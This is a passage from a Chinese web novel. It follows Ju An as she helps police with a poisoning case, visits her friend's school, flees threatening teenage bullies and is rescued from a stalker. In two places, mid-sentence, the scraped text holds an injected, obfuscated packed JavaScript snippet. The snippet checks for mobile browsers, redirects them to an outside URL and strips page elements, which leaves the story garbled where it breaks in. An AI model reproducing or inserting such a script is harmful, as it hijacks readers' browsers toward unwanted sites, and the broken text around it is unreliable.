“是不是有些像电影里的台词?”雎安失笑,“但我说的是真心话。” 雎安解开安全带,在周浮沉错不开眼的注视下,走下了车。 “哦对了,差点忘了说谢谢。”雎安手扶着车身,俯身向前,低头道:“我知道你是个守规则的人,所以,谢谢你,谢谢你主动帮忙。” 周浮沉现在是刑警,按理来说,她被骚扰的案件不由刑警负责,且在她的记忆中,他极守规则,怎么会独自查案? 所以,他是私底下帮她。 随着话音落下,雎安露出了一个灿烂的笑容,砰一声,车门被关上了。 这几天,一旦得了闲,雎安就在整理各类案件的信息和学习理财知识。她坚信,她一定可以渡过生死难关,一定可以利用好账户里的这笔钱,创造出美好的生活。 虽然,这笔钱是她骗来的。 但是,如果宋挚强制让她还回去,亦或者查案的进展不乐观,大不了她自私到底,做事做绝,换个地方生活,重新开始。 这样想着,雎安坐在有家连锁酒店里那狭小的空间里,用手机搜集机酒和一些城市的信息,以备不时之需。 电话就是在这时响起的。 是沈薇。 看到这个名字,雎安竟有些恍惚,在她的潜意识,她与她已经断交了。 “雎安!什么时候出来聚聚?”沈薇夸张得招呼声,让雎安的右耳有些刺痛感。 “你不是才谈恋爱吗?”雎安推托,“可以多和男朋友一起出去玩啊。” “唉!别提他了,我和他单独出去玩的时候,别提对我有多好了,又是擦汗,又是喂水。结果你猜怎么着,只要有他的什么朋友在场,他就像是对待普通朋友一样对待我,一点都不照顾我!” 听到这,雎安知道沈薇是找她抱怨来了。 突然间,雎安起了劝分的念头,因为她怀疑就是李博勤导致沈薇染得毒。 “我和他说了,虽然他有些神经大条,但要是他不特别照顾我的感受,以后就别带我去参加他的朋友聚会,反正里头有一堆我讨厌的公子哥。” “可以这样真的有点过分啊,像是会为了陌生人委屈家里人的那类男人。” 雎安编辑完,刚想发出去,大拇指悬在半空,思考片刻后,决定全部删去。 她觉得,刚刚那段话很像心思深沉的绿茶在挑拨离间。而且,她能明确感受到,沈薇嫌弃归嫌弃、生气归生气,但没有一点想要分手的意思。加上沈薇之前撞见金浩晨和汤晴的时候,表现出了她没及时和她分享消息的吃惊和在意。 她要是把这段话发出去,只会招人嫌。 因为,沈薇只是想和她抱怨而已。 换作以往,雎安会甘做情绪垃圾桶,静静地看她发的内容,偶尔附和几句,力挺一下她。而今,她快速转移话题,想要从沈薇身上套到更多关于毒品的信息。 即便雎安不确定沈薇此刻吸没吸毒、知不知道毒品的存在,但她和李博勤、卢宇年接触频繁,感觉也快了。 “对了,你最近压力大吗?”雎安试探性地问道,“要不要一起打羽毛球,放松放松?” 沈薇非常讨厌运动,雎安又不想和沈薇有太多的线下接触,约她一起运动就是最好的客套。 “才不要!”沈薇拒绝得极快,“我最近压力超大,那帮臭学生真不让人省心,薪资不高,男朋友也不给力,糟心死了~” 接着,又是一通抱怨。 她说起现在的初高中生有多难管、有多可怕,俨然将他们描述成了吃人的怪兽。 雎安没有附和她,也没反驳她,任由她说,左耳进,右耳出,准备找个时机挂断电话。 而这时,沈薇提议道:“对了,之前我不是说过吗?等我熟悉了校园,就带你来学校里逛逛。” 沈薇工作的地点是博群实验中学。 “因为学校是近几年新开的,我们这的环境巨好,绿化好,基础设施好,教师宿舍还是个小公寓式的单人间。” 听到这,雎安由衷地发出感叹:“这么好?!” “对啊。”沈薇的声音很兴奋,“我把我的宿舍弄得贼漂亮,想和你炫耀来着,你明天有空不?过来看看?” 听闻博群实验中学的内部环境很好,而且碳酸钡中毒案受害者连晴的女儿连洁婷就在博群读高中,雎安有些好奇,地点又是在学校,应该安全。 “好。”雎安最终应了下来,“那你待会儿把时间和碰面的地点发给我。” 2023年6月27日,星期二,下午17点30分。 雎安按着沈薇发来的定位打车,结果司机师傅把她扔在了一个位于桥下的停车场边,她茫然地看着湖面,拨了电话给沈薇。 沈薇听后,解释说她刚上完课,因为今晚的晚自习不是她坐班,被几个好学的学生拖着问了几个问题,现在就出来接她。 既然注定得等待上一段时间,雎安也就没催沈薇,转而自己探起路来。 她注意着脚下,顺着陡峭而狭长的阶梯往上走,步伐迈得很小,走得很慢。 待她走到三分之二的位置,隐隐约约听到了学生们充满青春气息的嬉闹声,便知道自己选择往高处走的思路是对的。 这座桥是新建的,且位于市区有段距离,雎安甚至叫不出桥的名字,只知道这座桥以桥中心的爱心设计而闻名。 此时,桥上有零星几个学生,沿着人行道往右走,而他们的身后,便是桥的另一侧。 雎安沿着斑马线往前走了六七步,看到了桥下的博群实验中学和居民商业区,也看到小跑过来的沈薇。 “哎呀,我给你这个定位,是想着司机走那边不堵车。”沈薇气喘吁吁地解释道:“下课时间,走里头的小路,肯定堵!” 雎安递给她纸巾,示意她缓一会儿,“我怎么记得你说过,博群实验中学是封闭式管理,怎么会有这么多学生出校门啊?” 博群实验中学门口的小路上满是车,除去车,便是穿着校服的学生了。 “原本是封闭式管理,出校门的学生都得有外出证,进学校的时候也得查,但很多家长和学生觉得学校住宿条件简陋,提出要走读,索性就变成了半封闭。” 雎安的嘴角抽了抽,博群实验中学可是新学校,而且是华州中学里唯一一个标配上床下桌的四人宿舍。想当年,她读中学的时候,可是十个人挤在一个宿舍里。 “我先带你去附近转转吧,这个点,校道和食堂都是人。” 沈薇兴奋地拉着雎安去了位于后门的巷子里,“这有很多老式糖水店,都有些年头,我们先吃点东西打打底吧。” 兴许是周二的缘故,学生们出校门就被接回了家,沈薇强推的糖水店附近没几个人,只有途径门口的几个居民,和外卖接单的声音不断响起。 “没想到这里这么有生活气息。”雎安环顾四周,不禁感叹。 然而,沈薇却对这些日常闲聊表现出兴趣缺缺,在糖水上桌以后,很久开启了抱怨模式,继续说在电话里没能吐完的苦水。 比如李博勤很爱出去打球,打球的队伍里有不少女生,她很介意,但又不想显得太介意,觉得自己掉价。 比如李博勤很爱和她诉苦,还和她吐槽下了班还要给卢宇年捧臭脚,可一到她和他诉苦,他就频繁地转移话题。 “好烦啊,恋爱都这么烦。”沈薇浑身透着烦闷,似有一朵乌云停滞在她的头上,“幸好只是恋爱,结婚可就完蛋了。” 闻言,雎安沉默片刻,问道:“你们还在热恋期,你都这么不开心,有没有想过……是他不适合你?” 不问不答,不求不助。 雎安懂这个道理,也无心给自己找麻烦,可一想到沈薇是她从大学到现在的朋友,曾经还多次帮她解围。而今,她与李博勤在一起,不单会陷入情感的沼泽,很可能还会陷入人生的沼泽。 于是,雎安还是没忍住,将劝分的话说了出口。 “唉~我知道我又懒又蠢、一事无成,和他那样家境富裕、勤奋上进的人肯定会有矛盾。” 沈薇的表情,明显是被雎安的话刺痛了一下,“不过,我也认了。谁叫我不思进取呢?他已经是我最好的选择了。” 雎安则是惊讶于沈薇的第一反应,她第一时间竟然是贬低和怀疑自己。 “你怎么这样说自己啊?”雎安由衷地说道:“你明明就有很多优点啊,我的意思是他配不上你,或者是你们不合适,不是你配不上他。” 沈薇听后,扯唇一笑,露出一副“多谢安慰”的表情,而后停止了抱怨,转而开始说李博勤身上也有好的地方。 雎安觉得烦躁和低落,可她弄不清缘由,直到她们走出糖水店,看到了绝美的粉红色晚霞。 她意识到,以前的她也总是会下意识的自我攻击。 哪怕是对方的问题,也会首先怀疑是不是自己太敏感、怀疑自己是不是做错了什么。 在华州大学第一次见到宋挚的时候也是,明明她和他之间还没说过一句话,她却下意识地将他捧高,觉得他在审视她,觉得他会反感她的目光,觉得他会嫌弃她的性格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不许打了,你怎么可以这样欺负一个女生?!” 雎安刻意抬高声音,让自己的质问变得极有气势。 男生估计没想到这片都是老人居住的破小区,居然还有年轻人跳出来多管闲事,他嗤笑一声,转身跑了。 “切!”沈薇原先的防御状态一下解除,还朝着空巷子嘲笑道:“这么纸老虎。” 而后,沈薇蹲下身,看到女生穿的是博群的校服,男生穿的也是,于是便摆出老师的姿态,问候道:“你放心,我是博群的老师,你是哪个班的学生啊?” 连洁婷抬起了头,眼神锐利,警惕地看着眼前的两个人。 因为她的脸上很干净、没有受伤,雎安在和她对上视线的那一刻,便认出了她。 她叫连洁婷,今年高一,是碳酸钡中毒案受害者连晴的女儿。 “八婆!” 然而,不等雎安以拯救者的姿态扶起她,并向她询问连晴的事,男生再次返了回来。 他顶着肿了一半的脸,笑得极其得意:“我今天要把你衣服扒了,看看你是什么货色。” “还有你们两个。”冯凌指着雎安和沈薇,“逞英雄是要付出代价的。” 此刻,冯凌不再是孤身一人,身后还站着两个身穿校服的男生,其中一个还叼着烟。雎安终于知道那刺鼻烟味的来源了,原来是有同伙在附近。 “你认不认识冯志?”雎安尽量让自己显得冷静,“我看你好眼熟。” 冯凌听到这个名字,脸上不加掩饰地表现出了吃惊。 雎安观其反应,接着道:“你是他......弟弟?” 依据年龄、样貌和行事风格推测,雎安觉得这个关系最合理。 冯志,就是那个霸凌黄斌的儿子黄宇恒,间接导致黄宇恒死亡的人。 “唉!” 随着沈薇的一声惊叹,雎安回头,看到了连洁婷往外跑的背影。 “我不认识他。”冯凌矢口否认,笑着指了指雎安和沈薇,“这就是做好事的下场。” “你们不能乱来!”沈薇竟然硬气地吼了出声,“我可是博群的老师。” 雎安却是眉头紧蹙,觉得现在可不是挑明教师身份的好时候。 果不其然,不服管教的男生们对视一眼,默契地笑了。 那叼着烟的男生将烟往侧边一丢,姿态和语气都极其嚣张:“那我们就扒老师的......” 话音未落,雎安一把抓住沈薇的手腕,扯着她往外跑,疯狂地、用尽全力地往外跑。 雎安的眼前只有一个目标,那就是跑出巷子。 104. 我怎么觉得......你怕我。…… 没了成群的学生和接孩子的家长,街道变得尤为寂静,雎安在桥上看到的热闹场景,仿佛只是她的一场错觉。 她跑,一直跑,拼命地跑,因为她知道她们的身后有人在追。 在被石头绊倒的关键时刻,她松开了沈薇,依着惯性往前倒,撞到了一个身穿白色衬衫的男士。 她想,如果她看清了来人是谁,肯定不会用“男士”这个词。 因为,托住她的人是张徐行。而张徐行身边,跟着的是陈高升。 说实话,雎安是在看到陈高升的那一刻,才实打实地感到安心。 想想也挺讽刺,从前的她绝对想不到,自己有一天会因为看到陈高升而感到安心。 “你们想干嘛?!”待雎安站稳,张徐行退开一步距离,朝沈薇身后的少年们喊道。 “你别多管闲事!”冯凌见张徐行长得一副小白脸模样,嚣张道:“不然我连你的衣服一起扒!” “什么?!”陈高升仿佛听到天大的笑话,从看戏路人转入打手状态,“就你们几个毛都没长齐的小孩,就敢这样说话?” 陈高升的长相、身型、身上的伤痕都极具震慑力,一下便将欺软怕硬的少年们吓得愣在原地。 趁此时机,雎安快速向张徐行和陈高升解释了她和沈薇被人追击的原因。 “你们可真要脸。”张徐行语气还算平静,并没有暴怒,但皙白的脸上却出现了难得的红润色泽,只可惜,是被气的,“年纪轻轻就这么霸道,没理就用扒衣服来吓女生。” “谁叫她们多管闲事!我本来想教训的人又不是她们。”冯凌飞扬跋扈的姿态,有着和卢宇年作恶时的傲慢和戏谑,“再说了,我是未成年,你能把我怎么样?” 甚至,他还挑动眉尾,手指了指自己,补充道:“但你们要是弄伤我,我要你们坐牢!” 冯凌的话语和气势,让本来被陈高升吓退的两个跟班也硬气了起来。 陈高升见状,撸起袖子的同时,面部肌肉抽搐了两次,拿出了不管后果如何、也要修理他们的架势。 张徐行感知到陈高升的情绪变化,比冯志放狠话时都要紧张些,他拍了拍陈高升的肩头,“叔,你把旁边两个拿下,中间的交给我,记得别下重手。” 雎安也知道陈高升是个狠角色,手不自觉地握起了拳头,担心接下来会出什么事。结果,意外的点却发生在了张徐行身上。 他居然轻而易举地将冯凌的手弄脱臼了! 在沈薇瞪大双眼,凑到雎安身边的那一瞬,在冯凌嚎叫着,哭着求饶的那一刻,张徐行顺利将冯凌脱臼的手归位。 他的一整套动作行云流水、熟练异常,却是雎安从未见过的模样和姿态。 不过,雎安仔细想了想,她和张徐行算不上熟悉。要不是张徐行人很外向,又善于维系关系,本着多个朋友多条路的观念,她与他兴许已是陌路。 “怎么样?”张徐行抿唇一笑,又走近了些,“感觉如何?” 冯凌的面上都是眼泪,刚刚痛得他单膝跪地,现在都还没反应过来,依旧跪着。一直到他整个人被阴影覆盖,听到张徐行那带着嘲讽的提问,手上的痛感已经缓和了很多。 他猛地起身,决定,偷袭! 结果可想而知,全程最符合吃瓜群众身份的沈薇都在冯凌出手的那一刻,就闭上了眼睛。 “我没想到,你还认识个反差感这么大的弟弟。” 沈薇和雎安走在校道上,但沈薇完全没有心思看两边的景物,更别说给雎安介绍了。 “看着那么斯文,说话还柔声柔气的,结果动起手来,嘶~”沈薇倒吸一口凉气,“说狠话的时候,也很,嗯~” 没错,最后冯凌偷袭失败。 张徐行伸出右手食指,在他的心口处比划,阴恻恻地说道:“这里,可是非常脆弱的。” “你说得对,你是未成年,而我是成年人,我要担的责任比你重。”张徐行抬头一笑,“不过,只想让人痛苦的话,总是有办法的。” “好像电视剧里那种,□□大佬的小儿子。”沈薇一路上叨叨絮絮,把对刚刚发生的事的感想倾泻而出。 雎安笑笑,暗自感叹沈薇的一语成谶。 自从她得知张风做的事后,回想她们家和张风接触的过往点滴,都有种不寒而栗的后怕感。至于张徐行,在今天之前,她还没那么深的感受,而在今天之后,她对张徐行从心里产生了抵触。 “怎么了?”在雎安极快地躲开张徐行企图安慰她的手时,他意识到不对,“吓到你了?” 雎安摇头,两秒后,又点头,“有一点,但更多的是惊讶,惊讶于你的变化。” 张徐行收回什么都没触到的手,笑着解释道:“也不能算是变化,其实我是小时候习过武,面对说我是小白脸、娘娘腔的同学,我就用一些武术的噱头和放些狠话来吓退他们,只是你不知道而已。” 他歪头一笑,语带嗔怪,“谁叫你一直主观地看待我,觉得我就是个油嘴滑舌的弟弟?” 雎安也不知是她的心理作用,还是张徐行此刻释放出了不同以往的气场,她竟然不敢直视他的眼睛。 “我没觉得你油嘴滑舌啊。”雎安按以往那般忽悠回去,“我一直认为你是能说会道。” 张徐行弯腰前倾,语带无奈,“这两个词,在你心里都差不多吧?” 雎安低头一笑,抬手挽住沈薇,“沈老师,你说,这两个词是一回事吗?” 沈薇一惊,摆手道:“我是英语老师。” 张徐行站直身子,不再继续这个话题,转而开始主动解释他和陈高升出现在博群的原因。原来他们瞄准了博群的食堂,觉得固定为其供应独家调料能小赚一笔。 当时,雎安的内心很混乱,没有心思听这些。就如同现在,她也没心思听沈薇的叨絮。 她开启怀疑自己,大脑不停地回放和张徐行的相处细节,分析那突然产生的男女暧昧是因她的错觉而起,还是一早就有了,只是她从未察觉。 她想到,他时常与她开玩笑,而在她开口反驳时,似乎总会露出满意的笑容,还会下意识地往她这靠。 她想到,他在和她要汤晴的联系方式时,眼睛紧盯着她,似乎在观察她的反应。 她想到,她和宋挚去吃鸡公煲的那次,在她沉浸在获得巨额收益的快乐中时,他的识趣退场,似乎是难得的冷脸。 “沈薇。” “嗯?” “你有没有觉得,张徐行......”雎安故意不说下去,等着沈薇补上。 “那奶拽奶拽的男生叫张徐行啊?” 奶拽奶拽是什么形容词啊?! 结果,沈薇没按着她的预想开展话题。 “雎安,那你还想逛我的宿舍吗?”沈薇见雎安心不在焉,开口道:“不想去也没关系的。” 雎安却是笑了,“来都来了,为什么不去呢?” 过往已是过往,她现在带着滤镜回看,当然会越咀嚼越奇怪。 既然如此,不如就不想了! 雎安想,总归这都不是重点,重点是张风一家很危险,她会疏远他们,张徐行自然也在内。 沈薇的教师宿舍是狭小的单人间,私密性很不错,布置得很温馨,有阳光照进来,窗外还能看得到绿植。 在雎安看来,这环境非常好。 沈薇显然也是满意的,在带雎安进宿舍的那一刻起,脸上一直有笑意,好似忘记了方才不愉快的插曲。 雎安被她散发出的愉快的气息感染,嘴角不自觉地上扬。她走到沈薇的桌前,看到了摊开的教师手册和点名册,以及点名册上的那个名字—汤楚楚。 “汤楚楚是你班级里的学生?”雎安不免惊讶。 沈薇走到雎安身侧,叹了口气,“对啊,她因为家里的事被人开盒网暴,在学校被人欺负,休学了。” 沈薇回忆道:“我记得,接她回家的人就是你那同事。” “这样~”雎安从点名册上移开视线,想结束这个话题。 可沈薇却问道:“你那同事怎么样了?” 雎安第一反应,觉得沈薇是在问汤晴和金浩晨的感情状况。 “我离职那天,撞到她去公司提离职,在那之后,就没和她联系过了。” 沈薇颔首,“这样~” “对了。”雎安一屁股坐在榻榻 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沈薇向前两步,“说真的,你别觉得我冷漠。自从工作以后,我看透了很多人和事,老师于我而言就是工作,我日常生活里也不爱管别人的闲事了。” 雎安不置可否,拿出事先准备好的大牌礼盒,温柔而又坚定地道:“嗯,你不用做什么,只要告诉我就行。” 沈薇看着手中的彩妆礼盒,心里不是滋味,可她又描述不出这种感觉。 “我觉得你还是……” 这回,雎安选择了直接打断她,“沈薇,我不是有多心善,而是在调查一件案子,需要你的帮助。” “案子?” “我不方便多说。”雎安提前声明,“但这和宋挚有关,你可以帮我吗?” 原来如此,难怪提前准备了礼物。 “好,我帮你!”沈薇点头,将雎安的礼物放在了桌面上,“对了,你和宋挚怎么样了?在一起了吗?” 闻言,雎安心脏一阵抽痛,原先到嘴边的话又咽了下去。 “没怎么,有些矛盾,但我还是想帮他。” 见雎安难得露出了落寞的神情,沈薇心中猜测雎安可能是被冰山宋挚拒绝了、现在在单方面付出,故而对雎安生出了同情和怜爱。 雎安却在沈薇安慰她时,摇头笑道:“在我看来,是否为良缘,不在于能否在一起,也不在于在一起的时长,而在于能不能促进我的成长。” “什么意思?”沈薇被绕得云里雾里。 “就是……”雎安叹了口气,“只要他本身的存在能滋养我,就够了。” 沈薇不懂,但她知道雎安很失落,所以觉得她是在故作坚强。 “小薇薇~” “嗯?”沈薇被突如其来的亲昵称谓惊了一下。 雎安进门时脱了鞋,此刻穿着袜子,踩在柔软的垫子上,看着窗外的摇曳的树影,以及洒落在树上的阳光。 “不管什么时候,你都要以你为先。” “啊?” “你的感受为先,如果你觉得不舒服,一定是有不对的点。” 适可而止,雎安觉得自己只能说这么多了。 良久的沉默后,沈薇反应过来,知道雎安是在点她说李博勤的事。 “雎安。” “嗯?” “你变了好多。” 这句话,张徐行刚刚才对雎安说过。 “我还要和朋友进去逛逛,拜拜。”雎安后退两步,朝张徐行挥手道别,转身离开。 然而,他却两步上前,抓住雎安的手肘,在雎安惊诧的目光中,将她拉到一旁。 看他神神秘秘的样子,雎安觉得他是有重要的事要和她说,故而在他倾身向前的时候,也略微倾身。 两人的身体,仿佛在说悄悄话。 “你变了很多。” “啊?”雎安抬眸看了他一眼,又赶忙垂眸,“还好吧。” 雎安能感受到自己的心跳飞快,她确信这不是悸动,而是紧张和……害怕。 “姐姐~” “嗯?” 熟悉的称谓,让雎安下意识抬头,与俯身的他对视。 “我怎么觉得……你怕我。” 105. 周浮沉一瞬不瞬地看着她的眼睛^…… 他的声音低沉,雎安还是第一次听到他发出这样的声音。 她当时鸡皮疙瘩骤起,以至于没注意到张徐行微勾的唇角之上,是自上而下的打量。 此刻,雎安行走在南林社区昏暗的街道中,打算回一趟家。 她不是要和谁和解,而是打算和父母进行一场正式的谈话,不论他们听不听、反应如何,她都决定将他们对她的伤害倾泻而出。 只有这样,她才能和过去的她彻底道别。 哪怕她已够预想到他们的反应了,但她还是希望能有一场正式的谈话,这能让她死了和好的心。 裙摆摇曳,浅米色的花卉刺绣连衣裙与夜晚的风轻舞,浅V领的设计露出了锁骨间的银色项链,在一道突如其来的冷光照耀下,反射出刺目的光。 是电动车的车灯打在了她身上,随后是车辆疾驰而过的声响。 雎安察觉到一丝不对劲,可她前后左右观察一番后,没有任何异常,觉得兴许是自己的焦虑在作祟。 但待她越往深处走,越接近密集的居民区,灯光逐渐变得明亮,感觉却越来越强烈。 她突然意识到,这不是焦虑,这是直觉。 她的直觉在提醒她,附近有危险。 雎安想到了张徐行,想到了他戏谑的表情,可仔细一想,她觉得他不会干偷摸着跟踪的事,那还有谁呢? 宋挚? 不可能吧,她觉得宋挚在短期内不会想看见她。 所以...... 脚步声越来越明显,雎安打了个寒颤。 她没有选择回头,而且观察左右两侧有没有反光物,以便她在不惊扰对方的情况下观察,只是,很可惜她并没有找到。 于是,她只能缓慢地加快脚步,观察身后有没有影子靠近,并留意两侧亮灯的房屋,思考在危机之下如何求助。 精神紧绷,又带着恐惧,雎安的呼吸愈加急促、甚至是混乱。 四周的老旧楼房里很少有亮灯的,兴许房屋大多都已空置,兴许是留守的老人家一早就睡了。她要是被拉进巷子里,听到她的呼救,人家也未必会帮忙。 突然,有一阵难以压制的名为恐惧的洪水漫上心头。 因为雎安清楚地意识到,她现在是一个人,她怕受伤,怕痛,怕死。于是,在发现身后有个人影在贴近她的时候,她再次选择放手一搏,蓦地往前冲,冲向更加明亮的地方! “雎安!” 随着一声高唤,响起了人体撞击地面的声响。 “回来!没事了。” 雎安停下了脚步,猛地回头,看到的是被压在地上、动弹不得的赵思成,以及双膝压在赵思成的肩背上、采用原地反关节将其锁住的周浮沉。 “周警官?”雎安回身,瞪大了双眼,“你怎么会在这?” 而后,她又看了眼试图抬头看她的赵思成,将“他又怎么会在这?”给咽进肚子里,转而问道:“这是怎么回事啊?” 周浮沉今天的装束很是利落,一身黑,配上他青筋暴起、肌肉突起的手臂,像是电影里的王牌打手。 “晚点和你解释,你得配合我们回警局,做个笔录。” 我们? 雎安疑惑地抬头,这才注意到离周浮沉两米远的巷子口那站着一个人。 是梁询。 他朝雎安挥了挥手,笑容之下,仿佛在说:“Hi,是老朋友。” ———————— “哟~难得啊,你居然住宿舍了。” 黎海诺朝宋挚打招呼,声音里带着些微不可查的嘲讽。他可记得清清楚楚,每次宋挚撞见他和女友煲电话粥时,每次他投入到游戏中叫唤了几声时,宋挚面上都会露出嫌弃的微表情。 他到底在傲气什么啊?他难道就没个爱好、没点欲望?难不成就因为他爸妈都是教授,家境富裕,就自视甚高,看不起他这个从二本考上来的研究生? 切! 黎海诺在心中发出不屑的鄙夷声。 然而,他的面上却不显,“打算住多久?” “不知道,看心情吧。”宋挚低头整理衣柜,都没看黎海诺一眼。 “我听说,你被系花表白了?”黎海诺忍着不爽,八卦道:“是真的吗?” “只是要微信而已。” “哦~那就是真的了。”黎海诺心中的不爽又加重了几分,“你这样的帅哥就是好命,都不用追,美女就主动往上贴。” 闻言,宋挚关上衣柜,双手放在鼻侧,深吸一口气,似乎在压抑什么情绪。 黎海诺见宋挚不接招,有些恼怒。然而,在他走进宋挚的那一刻,他明显感知到宋挚的情绪不对、似有怒火在胸口高燃。于是,他识趣地找了个理由,离开了宿舍。 终于得以清静,本就无心应付的宋挚,脑子里一团乱。 他的大脑就像失控的汽车,胡乱地往回忆的各个角落里撞,而这些角落都与雎安有关,每一次撞击,都伴随着无法忽视的阵痛。 但他想,这只是阵痛,而已。 他可以控制,可以冷静,可以不让自己陷入报复的泥潭。 然而,在他看到她怡然自得地站在周浮沉身边,像是什么都没发生过一样,面不改色地查案时,他的脑中冲出来了许多画面。 有他质问雎安、让她还钱的画面,有他着手报复雎安、让她难堪的画面,有他和周浮沉翻脸、也要抢夺雎安的画面,也有他不管不顾地上前、拥住雎安的画面。 这些画面,不断挑拨着他的理智,让他无心当下、频繁失神,一副要踩着他的理智、弹出一首“失控”的歌曲来。 宋言林和邓玉瑛曾在他青春期的时候就告诉过他,想要控制自己的情绪、做出从心的选择,首先是接纳情绪,然后是管理情绪,不被情绪操控,自然就不会失控,待冷静下来后,才是做选择的好时机。 所以,越是否认,越是压抑,就越是痛苦,越是会失控。 “黎海诺!” 在人来人往的楼道大厅里,黎海诺听到了宋挚铿锵有力的声音,声音里还带着不加掩饰的怒气,喊的还是自己的全名,他宛如惊弓之鸟,汗毛瞬间立了起来。 “我告诉你,之后我会经常回宿舍。”宋挚站定在他面前,凭着尚存的理智,压低声音道:“以前我好声好气地提醒过你很多次,让你不要半夜□□,不要打游戏打到忘乎所以、吵我休息,你全都当耳旁风。那我今天就郑重地警告你,以后你再这样,我就送你进医院!” 语毕,看见黎海诺彻底呆住的神情,宋挚耐人寻味地勾起唇角,左手略过他,健壮的手臂使了三分力,就推闭了他身后半敞的木门。 伴随着“砰”的一声,黎海诺的魂被震回来了一半,还有一半则看着宋挚走向黄健豪师兄的背影,瑟瑟发抖着。 ———————— “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817905|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,是汤晴察觉到不对,告诉了你?”雎安问道。 周浮沉颔首,“没错,她来警局配合调查童敏案的时候,说最近总感觉有人跟踪她,她最近又遭受了网暴,很不安,就麻烦我们留意一下赵思成的行踪。” 周浮沉上下打量了一番雎安,发现她没有流露出方才那慌张和受惊的模样,安心了几分。 “然后我们调查碳酸钡中断案的时候,留意到受伤者名单里的赵旭,是赵思成的爸爸。正好我们走访调查的时候,厂里有不少女员工反馈,总感觉有人在偷拍,因为有人说在某些网站上看到了她们被偷拍的照片,而赵旭又是出了名的爱动手动脚,大家都怀疑是赵旭,根本就没想过会是黄斌偷拍,但因为他和厂长黎峰的关系很好,有了厂长的庇护,没有人敢多说什么。” 黎峰?雎安记得这个名字,他也在受伤者名单里。 “但是,女员工们说,曾经有一个女人站了出来,说只要她们愿意发声,她会用所有资源来帮助她们维权。” 周浮沉的食指轻轻敲击着桌面,刚准备说出那个女人是谁,就听到雎安率先问出了口。 “是邓阿姨,对不对?” 言语里霸气侧漏,既询问了当事人的意见,又没有强人所难,还得是员工们能接触到的相对于高层级的人,雎安只能想到邓玉瑛。 “没错。”雎安的脑子转得相当快,周浮沉是有些意外的,“这次我们审问赵思成,叫上了局里的心理师,分析他喜欢偷窥、以偷摸着和女性有肢体接触的行为和他的父亲有关。在我们的不断施压下,他的心理防线崩溃,一直将责任推到父亲身上,说他目睹父亲偷窥后很兴奋的样子,才有了尝试的兴趣,他说他是小学的时候就钻进女厕,以找妈妈的名义蹲下身去偷看。” 雎安曾经也花费了很多时间在责怪父母上,不可否认,父母对孩子的影响是巨大的,但当她慢慢成长,心智越来越成熟,就越明白“每个人是自己人生的第一负责人”这句话的含金量。 所以,她没有表露出任何同情,而是厌恶,厌恶赵思成的推责,也厌恶赵思成和赵旭的行为。 “他还说,他父亲偷拍了厂里不少的女员工,还把她们上厕所的视频分享在一些怪癖网站上。” 雎安骤然瞪大双眼,“这是突破点!” 周浮沉被雎安专注于破案的反应逗笑了,“没错,确实是。赵思成的话侧面印证了赵旭偷拍的事实,而企图维权的吴穷和连晴,以及试图帮助她们维权的邓阿姨都被毒害了。而他,赵旭,只是轻微中毒。” “所以......下一步是?”雎安毫不客气,已经是直接问的状态。 “先搜查,再抓人询问。”周浮沉也不绕圈子,直接回答她。 雎安在警局等了许久,才等到周浮沉过来给她做笔录,而今已近十一点,该知道的,她也都知道了。 于是,她问了最后一个她感到疑惑的事,“对了,你现在怎么这么积极地和我分享案情啊?” 她不忘强调:“虽然我是说过,你得告诉我查案的进度,但你只说给我一些反馈,一直都警惕得很。” 闻言,周浮沉的视线在雎安的脸上停顿了三四秒,像是在思索,“免得你私自查案啊。” 雎安瘪了瘪嘴,心中疑惑已解,也就接受了这个回答。 然而,周浮沉却一瞬不瞬地看着她的眼睛,补了一句。 “还得担心你出事。” 106. 矫情的小情侣 “邹女士。” “啊?”雎安一时间都没反应过来,酒店前台是在叫她。 “刚刚有一个男人过来找你,报出了房号,问我你还住不住在这、在不在房间,说是有事找。”前台公式化地笑了笑,“我说我也不知道,然后他等了一会儿,就离开了。” 能报出她的房号,还问她是不是还住在这,雎安只能想到宋挚,也只有宋挚。 “谢谢,我知道是谁了。”雎安点头致谢,“我晚点联系他。” 晚上11点15分,雎安终于回到了自己的房间,直接穿着外衣倒在了酒店床上。 她拿出手机,先查看了和宋挚的聊天框,发现他并没有给她发信息的时候,她疑惑地蹙了蹙眉。而后,她忽视父母发给她的轰炸短信,打开和周浮沉的聊天框,复了一句“我安全到酒店了”。 很快,就收到了周浮沉的回复。 雎安没细看,心中着急,行动上却故意拖了好一会儿,在临睡前,才怀着忐忑而期待的心,将怎么会来酒店找她的信息发给了宋挚。 她关闭手机,强制自己入睡,却在床上翻来覆去了近一个小时,最终还是没能等到白天,而是立刻爬了起来,拿起床头柜上的手机,查看消息。 “明天十二点,逃离餐馆。” 这条消息是在她发出后的十分钟后回复的,不是问她能不能来,而是直接将时间和地点甩给她。 好拽,好帅,好喜欢~ 这是雎安看到信息的第一反应,第二反应就是压不住的唇角,紧接着,便在大半夜回复了个“好”字,美滋滋地睡了。 雎安一觉到早上十点,醒来后,火急火燎地收拾自己,提前出门去了附近商场,买了瓶小一千的香水,还让柜姐帮忙化了个妆。 上午十一点半,她终于动身前往逃离餐馆。 上午十一点四十五分,因为附近有明星在拍综艺节目,附近的交通受到管制,雎安被放到距离目的地还有一公里的湖边下车,只能认命地打开导航,准备一边走一边给宋挚打个电话,提前说明她很可能会迟到。 她拨出去了,电话铃声在附近响起。 雎安认得宋挚的电话铃声,于是。环顾四周,寻找他的身影。 紧接着,是骤起的扑水声,和一声惊呼。 雎安循声而出,看到一个约莫十岁的男孩子在湖里扑腾个不停,岸边还有个身着黑色休闲服的中年女人,她惊慌失措地朝路人呼喊,说她不会游泳,有谁能帮她救救孩子。 